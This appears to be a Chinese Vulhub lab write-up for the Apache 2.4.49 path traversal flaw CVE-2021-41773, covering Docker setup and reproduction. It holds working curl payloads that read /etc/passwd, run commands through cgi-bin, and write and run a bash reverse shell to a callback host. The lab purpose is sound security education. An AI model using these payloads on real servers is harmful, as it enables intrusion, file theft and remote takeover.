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66 lines
2.1 KiB
Markdown
66 lines
2.1 KiB
Markdown
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# Apache HTTP Server 2.4.49 路径穿越漏洞 CVE-2021-41773
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## 漏洞描述
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Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中，引入了一个路径穿越漏洞，满足下面两个条件的Apache服务器将会受到影响：
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- 版本等于2.4.49
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- 穿越的目录允许被访问，比如配置了`<Directory />Require all granted</Directory>`。（默认情况下是不允许的）
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攻击者利用这个漏洞，可以读取位于Apache服务器Web目录以外的其他文件，或者读取Web目录中的脚本文件源码，或者在开启了cgi或cgid的服务器上执行任意命令。
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参考链接：
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- https://httpd.apache.org/security/vulnerabilities_24.html
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- https://twitter.com/ptswarm/status/1445376079548624899
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- https://twitter.com/HackerGautam/status/1445412108863041544
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- https://twitter.com/snyff/status/1445565903161102344
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## 环境搭建
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Vulhub执行如下命令编译及运行一个存在漏洞的Apache HTTPd 2.4.49版本服务器：
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```
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docker-compose build
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docker-compose up -d
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```
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环境启动后，访问`http://your-ip:8080`即可看到Apache默认的`It works!`页面。
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## 漏洞复现
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使用如下CURL命令来发送Payload（注意其中的`/icons/`必须是一个存在且可访问的目录）：
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```
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curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
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```
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> `-v`参数输出通信的整个过程，用于调试。
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可见，成功读取到`/etc/passwd`：
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在服务端开启了cgi或cgid这两个mod的情况下，这个路径穿越漏洞将可以执行任意命令：
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```
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curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
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```
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写入反弹shell
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```
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curl -v --data "echo;echo 'bash -i >& /dev/tcp/192.168.174.128/9999 0>&1'>> /tmp/shell.sh" 'http://192.168.174.128:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
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```
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执行反弹shell
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```
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curl -v --data "echo;bash /tmp/shell.sh" 'http://192.168.174.128:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
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```
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